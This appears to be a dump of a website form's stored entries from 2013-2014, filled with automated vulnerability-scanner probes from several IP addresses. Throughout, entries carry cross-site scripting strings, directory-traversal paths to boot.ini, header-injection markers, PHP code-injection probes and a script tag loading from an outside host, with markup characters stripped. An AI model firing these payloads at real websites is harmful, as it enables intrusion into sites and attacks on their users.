hacker2013-12-19 16:07:25182.118.33.7../../../../../../../../boot.ini 
hacker2013-12-19 16:07:25182.118.33.7/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
hacker2013-12-19 16:07:26182.118.33.7..\..\..\..\..\..\..\..\boot.ini 
hacker2013-12-19 16:07:26182.118.33.7../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
hacker2013-12-19 16:07:27182.118.33.788888 
hacker2013-12-19 16:07:27182.118.33.7../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
hacker2013-12-19 16:07:28182.118.33.7../../../../../../../../boot.ini 
hacker2013-12-19 16:07:30182.118.33.7file:///c:/boot.ini 
hacker2013-12-19 16:07:31182.118.33.7http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
hacker2013-12-19 16:07:31182.118.33.7/some_inexistent_file_with_lg_name 
hacker2013-12-19 16:07:31182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-12-19 16:07:32182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
hacker2013-12-19 16:07:32182.118.33.7dir 
hacker2013-12-19 16:07:34182.118.33.7dir 
hacker2013-12-19 16:07:36182.118.33.7http://bbs.webscan.360.cn 
hacker2013-12-19 16:07:37182.118.33.7bbs.webscan.360.cn 
hacker2013-12-19 16:07:39182.118.33.7+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hackerscriptalert(42873)/script2013-12-19 16:07:40182.118.33.788888 
hacker2013-12-19 16:07:47182.118.33.788888 
hacker272013-12-19 16:07:49182.118.33.788888 
hacker2013-12-19 16:07:50182.118.33.788888 
hacker\2013-12-19 16:07:51182.118.33.788888 
hacker\"2013-12-19 16:07:52182.118.33.788888 
hackerJyI2013-12-19 16:07:54182.118.33.788888 
hacker"2013-12-19 16:07:56182.118.33.788888 
hacker?2013-12-19 16:07:57182.118.33.788888 
hacker"2013-12-19 16:07:59182.118.33.788888 
hacker/2013-12-19 16:08:02182.118.33.788888 
hackeralert(42873)2013-12-19 16:08:03182.118.33.788888 
/some_inexistent_file_with_lg_name2013-12-19 16:08:12182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs2013-12-19 16:08:14182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs2013-12-19 16:08:15182.118.33.788888 
dir2013-12-19 16:08:16182.118.33.788888 
dir2013-12-19 16:08:17182.118.33.788888 
hacker2013-12-19 16:08:19182.118.33.788888 
hacker2013-12-19 16:08:21182.118.33.788888 
hacker2014-1-20 13:01:44123.125.160.21788888scriptalert(42873)/script 
hacker2014-1-20 13:01:50123.125.160.21788888img src1 erroralert(42873) 
hacker2014-1-20 13:01:51123.125.160.21788888div stylewidth:expressi(alert(42873)) 
hacker2014-1-20 13:01:51123.125.160.21788888script srchttp://xxooxxoo.js/script 
hacker2014-1-20 13:01:52123.125.160.21788888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hacker2014-1-20 13:01:52123.125.160.21788888" mousemovealert(42873) wb" 
hacker2014-1-20 13:01:52123.125.160.21788888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
hacker2014-1-20 13:01:53123.125.160.21788888" mousemovealert(42873)wb" 
hacker2014-1-20 13:01:53123.125.160.21788888 
hacker2014-1-20 13:01:53123.125.160.2178888827 
hacker2014-1-20 13:01:53123.125.160.21788888 
hacker2014-1-20 13:01:53123.125.160.21788888\ 
hacker2014-1-20 13:01:54123.125.160.21788888\" 
hacker2014-1-20 13:01:54123.125.160.21788888JyI 
hacker2014-1-20 13:01:54123.125.160.21788888" 
hacker2014-1-20 13:01:54123.125.160.21788888? 
hacker2014-1-20 13:01:54123.125.160.21788888" 
hacker2014-1-20 13:01:54123.125.160.21788888/ 
hacker2014-1-20 13:01:55123.125.160.21788888alert(42873) 
hacker2014-1-20 13:01:55123.125.160.217../../../../../../../../boot.ini 
hacker2014-1-20 13:01:55123.125.160.217../../../../../../../../boot.ini 
hacker2014-1-20 13:01:55123.125.160.217boot.ini 
hacker2014-1-20 13:01:55123.125.160.217../../../../../../../../boot.ini 
hacker2014-1-20 13:01:55123.125.160.217/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
hacker2014-1-20 13:01:56123.125.160.217..\..\..\..\..\..\..\..\boot.ini 
hacker2014-1-20 13:01:56123.125.160.217../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
hacker2014-1-20 13:01:56123.125.160.217../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
hacker2014-1-20 13:01:57123.125.160.217../../../../../../../../boot.ini 
hacker2014-1-20 13:01:57123.125.160.21788888 
hacker2014-1-20 13:01:57123.125.160.217file:///c:/boot.ini 
hacker2014-1-20 13:01:58123.125.160.21788888 
hacker2014-1-20 13:01:59123.125.160.217..\..\..\..\..\..\..\..\boot.ini 
hacker2014-1-20 13:02:00123.125.160.217................boot.ini 
hacker2014-1-20 13:02:00123.125.160.217http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
hacker2014-1-20 13:02:01123.125.160.217/some_inexistent_file_with_lg_name 
hacker2014-1-20 13:02:03123.125.160.217 SomeCustomInjectedHeader:injected_by_wvs 
hacker2014-1-20 13:02:04123.125.160.217 SomeCustomInjectedHeader:injected_by_wvs 
hacker2014-1-20 13:02:04123.125.160.217dir 
hacker2014-1-20 13:02:04123.125.160.217dir 
hacker2014-1-20 13:02:05123.125.160.217http://oxoxoxoxoxoxox.com 
hacker2014-1-20 13:02:06123.125.160.217oxoxoxoxoxoxox.com 
hacker2014-1-20 13:02:08123.125.160.217+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
hackerscriptalert(42873)/script2014-1-20 13:02:09123.125.160.21788888 
hacker2014-1-20 13:02:16123.125.160.21788888 
hacker272014-1-20 13:02:18123.125.160.21788888 
hacker2014-1-20 13:02:20123.125.160.21788888 
hacker\2014-1-20 13:02:20123.125.160.21788888 
hacker\"2014-1-20 13:02:21123.125.160.21788888 
hackerJyI2014-1-20 13:02:23123.125.160.21788888 
hacker"2014-1-20 13:02:25123.125.160.21788888 
hacker?2014-1-20 13:02:26123.125.160.21788888 
hacker"2014-1-20 13:02:28123.125.160.21788888 
hacker/2014-1-20 13:02:28123.125.160.21788888 
hackeralert(42873)2014-1-20 13:02:29123.125.160.21788888 
/some_inexistent_file_with_lg_name2014-1-20 13:02:36123.125.160.21788888 
SomeCustomInjectedHeader:injected_by_wvs2014-1-20 13:02:37123.125.160.21788888 
SomeCustomInjectedHeader:injected_by_wvs2014-1-20 13:02:38123.125.160.21788888 
dir2014-1-20 13:02:39123.125.160.21788888 
dir2014-1-20 13:02:40123.125.160.21788888 
hacker2014-1-20 13:02:42123.125.160.21788888 
hacker2014-1-20 13:02:44123.125.160.21788888 
hacker2014-2-25 13:18:22182.118.33.788888scriptalert(42873)/script 
88888
hacker2014-2-25 13:18:25182.118.33.788888img src1 erroralert(42873) 
88888
hacker2014-2-25 13:18:27182.118.33.788888div stylewidth:expressi(alert(42873)) 
88888
hacker2014-2-25 13:18:27182.118.33.788888script srchttp://xxooxxoo.js/script 
88888
hacker2014-2-25 13:18:28182.118.33.788888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-2-25 13:18:29182.118.33.788888" mousemovealert(42873) wb" 
88888
hacker2014-2-25 13:18:29182.118.33.788888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
88888
hacker2014-2-25 13:18:31182.118.33.788888" mousemovealert(42873)wb" 
88888
hacker2014-2-25 13:18:32182.118.33.788888" mouseoverprompt(42873) bad" 
88888
hacker2014-2-25 13:18:34182.118.33.788888iframe SRCjavascript:alert(42873) 
88888
hacker2014-2-25 13:18:35182.118.33.788888body ONLOADalert(42873) 
88888
hacker2014-2-25 13:18:36182.118.33.788888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2014-2-25 13:18:36182.118.33.788888EMBED SRCjavascript:alert(42873)/EMBED 
88888
hacker2014-2-25 13:18:37182.118.33.788888BASE HREF"javascript:alert(42873)//" 
88888
hacker2014-2-25 13:18:37182.118.33.788888 
88888
hacker2014-2-25 13:18:38182.118.33.78888827 
88888
hacker2014-2-25 13:18:39182.118.33.788888 
88888
hacker2014-2-25 13:18:41182.118.33.788888\ 
88888
hacker2014-2-25 13:18:42182.118.33.788888\" 
88888
hacker2014-2-25 13:18:44182.118.33.788888JyI 
88888
hacker2014-2-25 13:18:47182.118.33.788888" 
88888
hacker2014-2-25 13:18:48182.118.33.788888? 
88888
hacker2014-2-25 13:18:51182.118.33.788888" 
88888
hacker2014-2-25 13:18:53182.118.33.788888/ 
88888
hacker2014-2-25 13:18:58182.118.33.788888alert(42873) 
88888
hacker2014-2-25 13:18:59182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-2-25 13:19:00182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-2-25 13:19:01182.118.33.7boot.ini 
88888
hacker2014-2-25 13:19:01182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-2-25 13:19:07182.118.33.7/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
hacker2014-2-25 13:19:08182.118.33.7..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-2-25 13:19:09182.118.33.7../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2014-2-25 13:19:09182.118.33.7../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2014-2-25 13:19:10182.118.33.7../../../../../../../../boot.ini 
88888
hacker2014-2-25 13:19:13182.118.33.7file:///c:/boot.ini 
88888
hacker2014-2-25 13:19:14182.118.33.7..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-2-25 13:19:15182.118.33.7................boot.ini 
88888
hacker2014-2-25 13:19:15182.118.33.7http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
hacker2014-2-25 13:19:16182.118.33.7/some_inexistent_file_with_lg_name 
88888
hacker2014-2-25 13:19:18182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-2-25 13:19:18182.118.33.7 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-2-25 13:19:19182.118.33.7dir 
88888
hacker2014-2-25 13:19:19182.118.33.7dir 
88888
hacker2014-2-25 13:19:19182.118.33.7http://oxoxoxoxoxoxox.com 
88888
hacker2014-2-25 13:19:20182.118.33.7oxoxoxoxoxoxox.com 
88888
hacker2014-2-25 13:19:21182.118.33.7+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-2-25 13:19:31182.118.33.788888 
88888scriptalert(42873)/script
hacker2014-2-25 13:19:31182.118.33.788888 
88888img src1 erroralert(42873)
hacker2014-2-25 13:19:33182.118.33.788888 
88888div stylewidth:expressi(alert(42873))
hacker2014-2-25 13:19:33182.118.33.788888 
88888script srchttp://xxooxxoo.js/script
hacker2014-2-25 13:19:34182.118.33.788888 
88888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-2-25 13:19:36182.118.33.788888 
88888" mousemovealert(42873) wb"
hacker2014-2-25 13:19:37182.118.33.788888 
88888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a
hacker2014-2-25 13:19:37182.118.33.788888 
88888" mousemovealert(42873)wb"
hacker2014-2-25 13:19:38182.118.33.788888 
88888
hacker2014-2-25 13:19:38182.118.33.788888 
88888" mouseoverprompt(42873) bad"
hacker2014-2-25 13:19:39182.118.33.788888 
88888iframe SRCjavascript:alert(42873)
hacker2014-2-25 13:19:40182.118.33.788888 
88888
hacker2014-2-25 13:19:41182.118.33.788888 
88888body ONLOADalert(42873)
hacker2014-2-25 13:19:42182.118.33.788888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2014-2-25 13:19:45182.118.33.788888 
88888EMBED SRCjavascript:alert(42873)/EMBED
hacker2014-2-25 13:19:46182.118.33.788888 
88888BASE HREF"javascript:alert(42873)//"
hacker2014-2-25 13:19:47182.118.33.788888 
88888
hacker2014-2-25 13:19:48182.118.33.788888 
8888827
hacker2014-2-25 13:19:50182.118.33.788888 
88888
hacker2014-2-25 13:19:51182.118.33.788888 
88888\
hacker2014-2-25 13:19:51182.118.33.788888 
88888\"
hacker2014-2-25 13:19:52182.118.33.788888 
88888JyI
hacker2014-2-25 13:19:53182.118.33.788888 
88888"
hacker2014-2-25 13:19:53182.118.33.788888 
88888?
hacker2014-2-25 13:19:56182.118.33.788888 
88888"
hacker2014-2-25 13:19:57182.118.33.788888 
88888/
hacker2014-2-25 13:20:00182.118.33.788888 
88888alert(42873)
hacker2014-2-25 13:20:02182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-2-25 13:20:04182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-2-25 13:20:06182.118.33.788888 
boot.ini
hacker2014-2-25 13:20:10182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-2-25 13:20:12182.118.33.788888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2014-2-25 13:20:16182.118.33.788888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-2-25 13:20:18182.118.33.788888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2014-2-25 13:20:20182.118.33.788888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2014-2-25 13:20:22182.118.33.788888 
../../../../../../../../boot.ini
hacker2014-2-25 13:20:23182.118.33.788888 
file:///c:/boot.ini
hacker2014-2-25 13:20:25182.118.33.788888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-2-25 13:20:30182.118.33.788888 
................boot.ini
hacker2014-2-25 13:20:31182.118.33.788888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2014-2-25 13:20:34182.118.33.788888 
/some_inexistent_file_with_lg_name
hacker2014-2-25 13:20:35182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs
hackerscriptalert(42873)/script2014-2-25 13:20:37182.118.33.788888 
88888
hacker2014-2-25 13:20:41182.118.33.788888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-2-25 13:20:42182.118.33.788888 
dir
hacker2014-2-25 13:20:43182.118.33.788888 
dir
hacker2014-2-25 13:20:44182.118.33.788888 
http://oxoxoxoxoxoxox.com
hacker2014-2-25 13:20:46182.118.33.788888 
oxoxoxoxoxoxox.com
hacker2014-2-25 13:20:46182.118.33.788888 
+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-2-25 13:20:53182.118.33.788888 
88888
hacker272014-2-25 13:20:54182.118.33.788888 
88888
hacker2014-2-25 13:20:54182.118.33.788888 
88888
hacker\2014-2-25 13:20:55182.118.33.788888 
88888
hacker\"2014-2-25 13:20:56182.118.33.788888 
88888
hackerJyI2014-2-25 13:20:56182.118.33.788888 
88888
hacker"2014-2-25 13:20:57182.118.33.788888 
88888
hacker?2014-2-25 13:20:58182.118.33.788888 
88888
hacker"2014-2-25 13:21:17182.118.33.788888 
88888
hacker2014-2-25 13:21:19182.118.33.788888 
88888
hacker/2014-2-25 13:21:21182.118.33.788888 
88888
hackeralert(42873)2014-2-25 13:21:22182.118.33.788888 
88888
/some_inexistent_file_with_lg_name2014-2-25 13:21:28182.118.33.788888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-2-25 13:21:29182.118.33.788888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-2-25 13:21:30182.118.33.788888 
88888
dir2014-2-25 13:21:31182.118.33.788888 
88888
dir2014-2-25 13:21:32182.118.33.788888 
88888
hacker2014-2-25 13:21:47182.118.33.788888 
88888
hacker2014-3-30 8:08:28218.30.117.7288888scriptalert(42873)/script 
88888
hacker2014-3-30 8:08:30218.30.117.7288888img src1 erroralert(42873) 
88888
hacker2014-3-30 8:08:33218.30.117.7288888div stylewidth:expressi(alert(42873)) 
88888
hacker2014-3-30 8:08:34218.30.117.7288888script srchttp://xxooxxoo.js/script 
88888
hacker2014-3-30 8:08:35218.30.117.7288888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-3-30 8:08:40218.30.117.7288888" mousemovealert(42873) wb" 
88888
hacker2014-3-30 8:08:46218.30.117.7288888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
88888
hacker2014-3-30 8:08:47218.30.117.7288888" mousemovealert(42873)wb" 
88888
hacker2014-3-30 8:08:48218.30.117.7288888" mouseoverprompt(42873) bad" 
88888
hacker2014-3-30 8:08:49218.30.117.7288888iframe SRCjavascript:alert(42873) 
88888
hacker2014-3-30 8:08:49218.30.117.7288888body ONLOADalert(42873) 
88888
hacker2014-3-30 8:08:50218.30.117.7288888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2014-3-30 8:08:53218.30.117.7288888EMBED SRCjavascript:alert(42873)/EMBED 
88888
hacker2014-3-30 8:08:56218.30.117.7288888BASE HREF"javascript:alert(42873)//" 
88888
hacker2014-3-30 8:08:57218.30.117.7288888 
88888
hacker2014-3-30 8:08:58218.30.117.728888827 
88888
hacker2014-3-30 8:08:59218.30.117.7288888 
88888
hacker2014-3-30 8:09:02218.30.117.7288888\ 
88888
hacker2014-3-30 8:09:03218.30.117.7288888\" 
88888
hacker2014-3-30 8:09:05218.30.117.7288888JyI 
88888
hacker2014-3-30 8:09:06218.30.117.7288888" 
88888
hacker2014-3-30 8:09:07218.30.117.7288888? 
88888
hacker2014-3-30 8:09:12218.30.117.7288888" 
88888
hacker2014-3-30 8:09:13218.30.117.7288888/ 
88888
hacker2014-3-30 8:09:13218.30.117.7288888alert(42873) 
88888
hacker2014-3-30 8:09:14218.30.117.72../../../../../../../../boot.ini 
88888
hacker2014-3-30 8:09:14218.30.117.72../../../../../../../../boot.ini 
88888
hacker2014-3-30 8:09:14218.30.117.72boot.ini 
88888
hacker2014-3-30 8:09:15218.30.117.72../../../../../../../../boot.ini 
88888
hacker2014-3-30 8:09:15218.30.117.72/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
hacker2014-3-30 8:09:15218.30.117.72..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-3-30 8:09:16218.30.117.72../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2014-3-30 8:09:16218.30.117.72../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2014-3-30 8:09:16218.30.117.72../../../../../../../../boot.ini 
88888
hacker2014-3-30 8:09:16218.30.117.72file:///c:/boot.ini 
88888
hacker2014-3-30 8:09:16218.30.117.72..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-3-30 8:09:17218.30.117.72................boot.ini 
88888
hacker2014-3-30 8:09:17218.30.117.72http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
hacker2014-3-30 8:09:17218.30.117.72/some_inexistent_file_with_lg_name 
88888
hacker2014-3-30 8:09:17218.30.117.72 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-3-30 8:09:17218.30.117.72 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-3-30 8:09:18218.30.117.72dir 
88888
hacker2014-3-30 8:09:18218.30.117.72dir 
88888
hacker2014-3-30 8:09:18218.30.117.72http://oxoxoxoxoxoxox.com 
88888
hacker2014-3-30 8:09:18218.30.117.72oxoxoxoxoxoxox.com 
88888
hacker2014-3-30 8:09:18218.30.117.72+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-3-30 8:09:18218.30.117.72print(md5(1122))# 
88888
hacker2014-3-30 8:09:18218.30.117.72)print(md5(1122))// 
88888
hacker2014-3-30 8:09:19218.30.117.72${@print(md5(1122))} 
88888
hacker2014-3-30 8:09:19218.30.117.72data:text/plain,?php print(md5(1122))? 
88888
hacker2014-3-30 8:09:19218.30.117.72phpinfo 
88888
hacker2014-3-30 8:09:22218.30.117.7288888 
88888
hacker2014-3-30 8:09:23218.30.117.7288888 
88888
hacker2014-3-30 8:09:33218.30.117.7288888 
88888scriptalert(42873)/script
hacker2014-3-30 8:09:34218.30.117.7288888 
88888img src1 erroralert(42873)
hacker2014-3-30 8:09:34218.30.117.7288888 
88888div stylewidth:expressi(alert(42873))
hacker2014-3-30 8:09:34218.30.117.7288888 
88888script srchttp://xxooxxoo.js/script
hacker2014-3-30 8:09:35218.30.117.7288888 
88888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-3-30 8:09:35218.30.117.7288888 
88888" mousemovealert(42873) wb"
hacker2014-3-30 8:09:35218.30.117.7288888 
88888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a
hacker2014-3-30 8:09:35218.30.117.7288888 
88888" mousemovealert(42873)wb"
hacker2014-3-30 8:09:35218.30.117.7288888 
88888" mouseoverprompt(42873) bad"
hacker2014-3-30 8:09:36218.30.117.7288888 
88888iframe SRCjavascript:alert(42873)
hacker2014-3-30 8:09:36218.30.117.7288888 
88888body ONLOADalert(42873)
hacker2014-3-30 8:09:36218.30.117.7288888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2014-3-30 8:09:36218.30.117.7288888 
88888EMBED SRCjavascript:alert(42873)/EMBED
hacker2014-3-30 8:09:37218.30.117.7288888 
88888BASE HREF"javascript:alert(42873)//"
hacker2014-3-30 8:09:37218.30.117.7288888 
88888
hacker2014-3-30 8:09:37218.30.117.7288888 
8888827
hacker2014-3-30 8:09:37218.30.117.7288888 
88888
hacker2014-3-30 8:09:38218.30.117.7288888 
88888\
hacker2014-3-30 8:09:38218.30.117.7288888 
88888\"
hacker2014-3-30 8:09:38218.30.117.7288888 
88888JyI
hacker2014-3-30 8:09:39218.30.117.7288888 
88888"
hacker2014-3-30 8:09:39218.30.117.7288888 
88888?
hacker2014-3-30 8:09:39218.30.117.7288888 
88888"
hacker2014-3-30 8:09:39218.30.117.7288888 
88888/
hacker2014-3-30 8:09:40218.30.117.7288888 
88888alert(42873)
hacker2014-3-30 8:09:40218.30.117.7288888 
../../../../../../../../boot.ini
hacker2014-3-30 8:09:40218.30.117.7288888 
../../../../../../../../boot.ini
hacker2014-3-30 8:09:40218.30.117.7288888 
boot.ini
hacker2014-3-30 8:09:41218.30.117.7288888 
../../../../../../../../boot.ini
hacker2014-3-30 8:09:42218.30.117.7288888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2014-3-30 8:09:42218.30.117.7288888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-3-30 8:09:42218.30.117.7288888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2014-3-30 8:09:43218.30.117.7288888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2014-3-30 8:09:43218.30.117.7288888 
../../../../../../../../boot.ini
hacker2014-3-30 8:09:44218.30.117.7288888 
file:///c:/boot.ini
hacker2014-3-30 8:09:45218.30.117.7288888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-3-30 8:09:49218.30.117.7288888 
................boot.ini
hacker2014-3-30 8:09:49218.30.117.7288888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2014-3-30 8:09:49218.30.117.7288888 
/some_inexistent_file_with_lg_name
hacker2014-3-30 8:09:50218.30.117.7288888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-3-30 8:09:50218.30.117.7288888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-3-30 8:09:51218.30.117.7288888 
dir
hacker2014-3-30 8:09:52218.30.117.7288888 
dir
hacker2014-3-30 8:09:52218.30.117.7288888 
http://oxoxoxoxoxoxox.com
hacker2014-3-30 8:09:53218.30.117.7288888 
oxoxoxoxoxoxox.com
hacker2014-3-30 8:09:53218.30.117.7288888 
+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-3-30 8:09:53218.30.117.7288888 
print(md5(1122))#
hacker2014-3-30 8:09:53218.30.117.7288888 
)print(md5(1122))//
hacker2014-3-30 8:09:54218.30.117.7288888 
${@print(md5(1122))}
hacker2014-3-30 8:09:55218.30.117.7288888 
data:text/plain,?php print(md5(1122))?
hacker2014-3-30 8:09:55218.30.117.7288888 
phpinfo
hackerscriptalert(42873)/script2014-3-30 8:09:56218.30.117.7288888 
88888
hacker2014-3-30 8:10:00218.30.117.7288888 
88888
hacker272014-3-30 8:10:00218.30.117.7288888 
88888
hacker2014-3-30 8:10:00218.30.117.7288888 
88888
hacker\2014-3-30 8:10:01218.30.117.7288888 
88888
hacker\"2014-3-30 8:10:01218.30.117.7288888 
88888
hackerJyI2014-3-30 8:10:01218.30.117.7288888 
88888
hacker"2014-3-30 8:10:02218.30.117.7288888 
88888
hacker?2014-3-30 8:10:02218.30.117.7288888 
88888
hacker"2014-3-30 8:10:03218.30.117.7288888 
88888
hacker/2014-3-30 8:10:03218.30.117.7288888 
88888
hackeralert(42873)2014-3-30 8:10:03218.30.117.7288888 
88888
hacker2014-3-30 8:10:05218.30.117.7288888 
88888
/some_inexistent_file_with_lg_name2014-3-30 8:10:06218.30.117.7288888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-3-30 8:10:06218.30.117.7288888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-3-30 8:10:06218.30.117.7288888 
88888
dir2014-3-30 8:10:06218.30.117.7288888 
88888
dir2014-3-30 8:10:06218.30.117.7288888 
88888
hacker2014-3-30 8:10:10218.30.117.7288888 
88888
hacker2014-5-21 15:47:28182.118.33.688888scriptalert(42873)/script 
88888
hacker2014-5-21 15:47:31182.118.33.688888img src1 erroralert(42873) 
88888
hacker2014-5-21 15:47:32182.118.33.688888div stylewidth:expressi(alert(42873)) 
88888
hacker2014-5-21 15:47:33182.118.33.688888script srchttp://xxooxxoo.js/script 
88888
hacker2014-5-21 15:47:33182.118.33.688888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-5-21 15:47:34182.118.33.688888" mousemovealert(42873) wb" 
88888
hacker2014-5-21 15:47:36182.118.33.688888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a 
88888
hacker2014-5-21 15:47:38182.118.33.688888" mousemovealert(42873)wb" 
88888
hacker2014-5-21 15:47:40182.118.33.688888" mouseoverprompt(42873) bad" 
88888
hacker2014-5-21 15:47:41182.118.33.688888iframe SRCjavascript:alert(42873) 
88888
hacker2014-5-21 15:47:41182.118.33.688888body ONLOADalert(42873) 
88888
hacker2014-5-21 15:47:42182.118.33.688888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2014-5-21 15:47:42182.118.33.688888EMBED SRCjavascript:alert(42873)/EMBED 
88888
hacker2014-5-21 15:47:43182.118.33.688888BASE HREF"javascript:alert(42873)//" 
88888
hacker2014-5-21 15:47:43182.118.33.688888 
88888
hacker2014-5-21 15:47:44182.118.33.68888827 
88888
hacker2014-5-21 15:47:44182.118.33.688888 
88888
hacker2014-5-21 15:47:46182.118.33.688888\ 
88888
hacker2014-5-21 15:47:47182.118.33.688888\" 
88888
hacker2014-5-21 15:47:47182.118.33.688888JyI 
88888
hacker2014-5-21 15:47:53182.118.33.688888" 
88888
hacker2014-5-21 15:47:55182.118.33.688888? 
88888
hacker2014-5-21 15:47:55182.118.33.688888" 
88888
hacker2014-5-21 15:47:56182.118.33.688888/ 
88888
hacker2014-5-21 15:47:57182.118.33.688888alert(42873) 
88888
hacker2014-5-21 15:47:58182.118.33.6../../../../../../../../boot.ini 
88888
hacker2014-5-21 15:47:58182.118.33.6../../../../../../../../boot.ini 
88888
hacker2014-5-21 15:47:59182.118.33.6boot.ini 
88888
hacker2014-5-21 15:47:59182.118.33.6../../../../../../../../boot.ini 
88888
hacker2014-5-21 15:48:00182.118.33.6/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
hacker2014-5-21 15:48:00182.118.33.6..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-5-21 15:48:01182.118.33.6../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2014-5-21 15:48:02182.118.33.6../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2014-5-21 15:48:02182.118.33.6../../../../../../../../boot.ini 
88888
hacker2014-5-21 15:48:05182.118.33.6file:///c:/boot.ini 
88888
hacker2014-5-21 15:48:06182.118.33.6..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-5-21 15:48:06182.118.33.6................boot.ini 
88888
hacker2014-5-21 15:48:07182.118.33.6http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
hacker2014-5-21 15:48:08182.118.33.6/some_inexistent_file_with_lg_name 
88888
hacker2014-5-21 15:48:09182.118.33.6 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-5-21 15:48:10182.118.33.6 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-5-21 15:48:11182.118.33.6dir 
88888
hacker2014-5-21 15:48:11182.118.33.6dir 
88888
hacker2014-5-21 15:48:12182.118.33.6http://oxoxoxoxoxoxox.com 
88888
hacker2014-5-21 15:48:13182.118.33.6oxoxoxoxoxoxox.com 
88888
